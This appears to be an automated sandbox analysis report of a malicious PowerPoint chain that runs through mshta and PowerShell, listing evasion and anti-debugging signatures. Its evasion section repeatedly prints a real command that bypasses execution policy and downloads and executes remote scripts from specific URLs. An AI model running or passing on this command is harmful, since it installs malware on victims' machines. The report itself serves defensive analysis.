Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

barindex
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\mshta.exe TID: 1200 Thread sleep time: -900000s >= -30000s Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe TID: 772 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 804 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\taskeng.exe TID: 2092 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\System32\mshta.exe TID: 2596 Thread sleep time: -720000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2964 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\mshta.exe TID: 2516 Thread sleep time: -420000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2816 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\mshta.exe TID: 2132 Thread sleep time: -480000s >= -30000s
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer Jump to behavior
Source: powershell.exe, 0000000B.00000002.443886088.00000000003CB000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Anti Debugging:

barindex
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\mshta.exe Memory protected: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Bypasses PowerShell execution policy
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_408b52dd81ad428db256ba35835b2ee7.txt?dn=asdoawkdajicqujwdi') -useB);
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_408b52dd81ad428db256ba35835b2ee7.txt?dn=asdoawkdajicqujwdi') -useB);
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a6990275
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a6990275
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c07.txt?dn=kofkefjikdaowkdoaw') -useB);i'E'x(iwr('https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_408b52dd81ad428db256ba35835b2ee7.txt?dn=asdoawkdajicqujwdi') -useB); Jump to behavior
Creates a process in suspended mode (likely to inject code)
